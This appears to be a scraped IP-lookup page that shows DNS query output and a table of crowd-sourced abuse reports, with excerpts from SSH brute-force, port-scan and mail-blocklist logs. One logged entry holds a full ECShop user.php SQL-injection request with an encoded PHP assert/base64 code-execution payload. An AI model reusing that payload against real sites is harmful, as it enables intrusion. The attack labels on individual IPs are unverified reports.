城市(city): unknown
省份(region): unknown
国家(country): IANA Special-Purpose Address
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 249.158.142.75
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 49543
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;249.158.142.75. IN A
;; AUTHORITY SECTION:
. 29 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025011200 1800 900 604800 86400
;; Query time: 32 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Jan 12 14:28:15 CST 2025
;; MSG SIZE rcvd: 107Host 75.142.158.249.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 75.142.158.249.in-addr.arpa: NXDOMAIN| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 137.74.119.50 | attackbots | Nov 22 09:30:52 lnxded64 sshd[13417]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=137.74.119.50 |
2019-11-22 17:49:37 |
| 5.1.88.50 | attack | $f2bV_matches |
2019-11-22 17:51:40 |
| 106.13.97.37 | attackbotsspam | fail2ban |
2019-11-22 17:41:30 |
| 121.7.24.166 | attackspam | MultiHost/MultiPort Probe, Scan, Hack - |
2019-11-22 17:34:09 |
| 109.236.70.207 | attackspam | [portscan] Port scan |
2019-11-22 18:09:54 |
| 159.89.201.116 | attack | Nov 22 03:30:43 shadeyouvpn sshd[22957]: Invalid user akin from 159.89.201.116 Nov 22 03:30:43 shadeyouvpn sshd[22957]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=159.89.201.116 Nov 22 03:30:45 shadeyouvpn sshd[22957]: Failed password for invalid user akin from 159.89.201.116 port 57534 ssh2 Nov 22 03:30:45 shadeyouvpn sshd[22957]: Received disconnect from 159.89.201.116: 11: Bye Bye [preauth] Nov 22 03:42:12 shadeyouvpn sshd[30520]: Invalid user hannumem from 159.89.201.116 Nov 22 03:42:12 shadeyouvpn sshd[30520]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=159.89.201.116 Nov 22 03:42:14 shadeyouvpn sshd[30520]: Failed password for invalid user hannumem from 159.89.201.116 port 37190 ssh2 Nov 22 03:42:14 shadeyouvpn sshd[30520]: Received disconnect from 159.89.201.116: 11: Bye Bye [preauth] Nov 22 03:46:07 shadeyouvpn sshd[32468]: pam_unix(sshd:auth): authentication failure; logn........ ------------------------------- |
2019-11-22 17:46:09 |
| 51.83.106.0 | attackspambots | SSH authentication failure x 6 reported by Fail2Ban ... |
2019-11-22 17:38:45 |
| 213.230.75.132 | attackbotsspam | Nov 22 07:06:30 mxgate1 postfix/postscreen[24303]: CONNECT from [213.230.75.132]:21273 to [176.31.12.44]:25 Nov 22 07:06:30 mxgate1 postfix/dnsblog[24331]: addr 213.230.75.132 listed by domain cbl.abuseat.org as 127.0.0.2 Nov 22 07:06:30 mxgate1 postfix/dnsblog[24330]: addr 213.230.75.132 listed by domain zen.spamhaus.org as 127.0.0.10 Nov 22 07:06:30 mxgate1 postfix/dnsblog[24330]: addr 213.230.75.132 listed by domain zen.spamhaus.org as 127.0.0.4 Nov 22 07:06:30 mxgate1 postfix/dnsblog[24329]: addr 213.230.75.132 listed by domain b.barracudacentral.org as 127.0.0.2 Nov 22 07:06:30 mxgate1 postfix/postscreen[24303]: PREGREET 23 after 0.19 from [213.230.75.132]:21273: EHLO [213.230.75.132] Nov 22 07:06:30 mxgate1 postfix/postscreen[24303]: DNSBL rank 4 for [213.230.75.132]:21273 Nov x@x Nov 22 07:06:31 mxgate1 postfix/postscreen[24303]: HANGUP after 0.45 from [213.230.75.132]:21273 in tests after SMTP handshake Nov 22 07:06:31 mxgate1 postfix/postscreen[24303]: DISCONN........ ------------------------------- |
2019-11-22 18:03:06 |
| 31.129.179.137 | attackspam | Portscan or hack attempt detected by psad/fwsnort |
2019-11-22 17:47:48 |
| 54.37.158.218 | attackspam | Nov 22 06:55:24 wh01 sshd[29051]: Invalid user apache from 54.37.158.218 port 57964 Nov 22 06:55:24 wh01 sshd[29051]: Failed password for invalid user apache from 54.37.158.218 port 57964 ssh2 Nov 22 06:55:24 wh01 sshd[29051]: Received disconnect from 54.37.158.218 port 57964:11: Bye Bye [preauth] Nov 22 06:55:24 wh01 sshd[29051]: Disconnected from 54.37.158.218 port 57964 [preauth] Nov 22 07:14:03 wh01 sshd[30490]: Invalid user nicolis from 54.37.158.218 port 47955 Nov 22 07:14:03 wh01 sshd[30490]: Failed password for invalid user nicolis from 54.37.158.218 port 47955 ssh2 Nov 22 07:14:03 wh01 sshd[30490]: Received disconnect from 54.37.158.218 port 47955:11: Bye Bye [preauth] Nov 22 07:14:03 wh01 sshd[30490]: Disconnected from 54.37.158.218 port 47955 [preauth] Nov 22 07:37:21 wh01 sshd[32036]: Invalid user mustion from 54.37.158.218 port 33661 Nov 22 07:37:21 wh01 sshd[32036]: Failed password for invalid user mustion from 54.37.158.218 port 33661 ssh2 Nov 22 07:37:21 wh01 sshd[32036 |
2019-11-22 17:55:38 |
| 103.221.223.126 | attackbotsspam | Nov 22 09:24:55 hosting sshd[23053]: Invalid user dhcpd from 103.221.223.126 port 43902 ... |
2019-11-22 17:51:18 |
| 175.158.53.126 | attack | Nov 22 07:06:32 mxgate1 postfix/postscreen[24303]: CONNECT from [175.158.53.126]:61551 to [176.31.12.44]:25 Nov 22 07:06:32 mxgate1 postfix/dnsblog[24327]: addr 175.158.53.126 listed by domain zen.spamhaus.org as 127.0.0.4 Nov 22 07:06:32 mxgate1 postfix/dnsblog[24327]: addr 175.158.53.126 listed by domain zen.spamhaus.org as 127.0.0.11 Nov 22 07:06:32 mxgate1 postfix/dnsblog[24329]: addr 175.158.53.126 listed by domain cbl.abuseat.org as 127.0.0.2 Nov 22 07:06:32 mxgate1 postfix/dnsblog[24330]: addr 175.158.53.126 listed by domain b.barracudacentral.org as 127.0.0.2 Nov 22 07:06:38 mxgate1 postfix/postscreen[24303]: DNSBL rank 4 for [175.158.53.126]:61551 Nov x@x Nov 22 07:06:49 mxgate1 postfix/postscreen[24303]: HANGUP after 11 from [175.158.53.126]:61551 in tests after SMTP handshake Nov 22 07:06:49 mxgate1 postfix/postscreen[24303]: DISCONNECT [175.158.53.126]:61551 ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=175.158.53.126 |
2019-11-22 18:06:55 |
| 178.156.202.83 | attackspam | 178.156.202.83 - - [22/Nov/2019:01:25:12 -0500] "GET /user.php?act=login HTTP/1.1" 301 255 "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:288:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A325A6B5A334575634768774A79776E50443977614841675A585A686243676B583142505531526262475678645630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)"
... |
2019-11-22 17:37:33 |
| 187.190.236.88 | attackspam | Nov 21 23:36:37 hpm sshd\[2781\]: Invalid user klier from 187.190.236.88 Nov 21 23:36:37 hpm sshd\[2781\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=fixed-187-190-236-88.totalplay.net Nov 21 23:36:39 hpm sshd\[2781\]: Failed password for invalid user klier from 187.190.236.88 port 53216 ssh2 Nov 21 23:39:59 hpm sshd\[3172\]: Invalid user dovecot from 187.190.236.88 Nov 21 23:39:59 hpm sshd\[3172\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=fixed-187-190-236-88.totalplay.net |
2019-11-22 17:45:17 |
| 117.63.134.226 | attack | badbot |
2019-11-22 17:56:59 |